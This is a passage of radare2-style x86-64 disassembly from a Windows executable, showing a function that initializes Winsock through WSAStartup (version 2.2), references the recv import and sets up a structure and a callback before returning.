mov qword [rsi + 0x100], rbx
movups xmmword [rsi + 0xf0], xmm6
movups xmmword [rsi + 0xe0], xmm6
mov ecx, reloc.WS2_32.dll_recv
call fcn.140079a98
mov qword [rax + 8], rbx
mov qword [rsi + 0xe0], rax
mov qword [rax], r14
lea rcx, [rsi + 0x108]
mov edx, 2
call fcn.14008003c
mov rcx, rdi
call fcn.1400b6344
mov qword [rsi], rax
lea rdi, [rsp + 0x50]
mov r8d, 0x198
mov rcx, rdi
mov dl, 0xaa
call fcn.1400a3cc0
mov cx, 0x202
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400723e7
mov byte [rsi + 0x68], 1
lea r8, [rsp + 0x28]
mov qword [r8], rsi
lea rax, [0x140072420]
lea rdx, [rsp + 0x20]
mov qword [rdx], rax
lea rcx, [rsp + 0x30]
call fcn.140015b1e
cmp dword [rsi + 0x78], 0
jne 0x14007240f
lea rax, [rsi + 0x70]
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm0
mov rcx, qword [rsp + 0x1e8]
xor rcx, rsp
call fcn.140079b60
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x1f0]
add rsp, 0x208
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140015b14
int3